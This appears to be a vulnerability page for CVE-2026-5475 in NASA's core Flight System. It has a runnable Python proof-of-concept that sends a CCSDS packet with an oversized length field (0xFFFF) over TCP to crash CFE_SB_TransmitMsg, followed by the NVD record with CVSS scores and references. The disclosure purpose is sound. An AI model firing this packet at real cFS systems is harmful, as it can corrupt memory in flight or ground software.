CVE-2026-5475

import socket import struct # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 1234 # Example port for cFS SB interface def craft_malicious_cfs_packet(): """ Crafts a malformed CCSDS header to trigger the memory corruption in CFE_SB_TransmitMsg within the CCSDS Header Size Handler. """ # CCSDS Primary Header structure (simplified) # Version (3 bits), Type (1 bit), Data Field Header (1 bit), App ID (11 bits) # Sequence Flags (2 bits), Sequence Count (14 bits) # Data Length (16 bits) # Normal header construction version = 0 type_flag = 0 dfh_flag = 1 app_id = 100 seq_flags = 3 seq_count = 0 # Malformed logic: Set an unexpected size to trigger the vulnerability # Exploiting the lack of bounds checking in the Size Handler malicious_data_length = 0xFFFF header = (version << 29) | (type_flag << 28) | (dfh_flag << 27) | (app_id << 16) header |= (seq_flags << 14) | seq_count # Pack the header and the malicious length packet = struct.pack("!I", header) packet += struct.pack("!H", malicious_data_length) # Add payload to fill the buffer payload = b"A" * 10 packet += payload return packet def send_exploit(): try: # Create a socket connection to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Sending malicious packet to {TARGET_IP}:{TARGET_PORT}") malicious_packet = craft_malicious_cfs_packet() s.send(malicious_packet) print("[+] Packet sent successfully. Check for crashes.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-5475", "sourceIdentifier": "[email protected]", "published": "2026-04-03T18:16:26.250", "lastModified": "2026-05-04T14:25:27.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in NASA cFS up to 7.0.0. This impacts the function CFE_SB_TransmitMsg of the file cfe_sb_priv.c of the component CCSDS Header Size Handler. Executing a manipulation can lead to memory corruption. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 5.2, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 5.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:core_flight_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.0.0", "matchCriteriaId": "F1F33BA5-5EB7-4CC8-9DA9-DD9D880EA824"}]}]}], "references": [{"url": "https://github.com/nasa/cFS/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/nasa/cFS/issues/953", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://vuldb.com/submit/781951", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/355079", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/355079/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}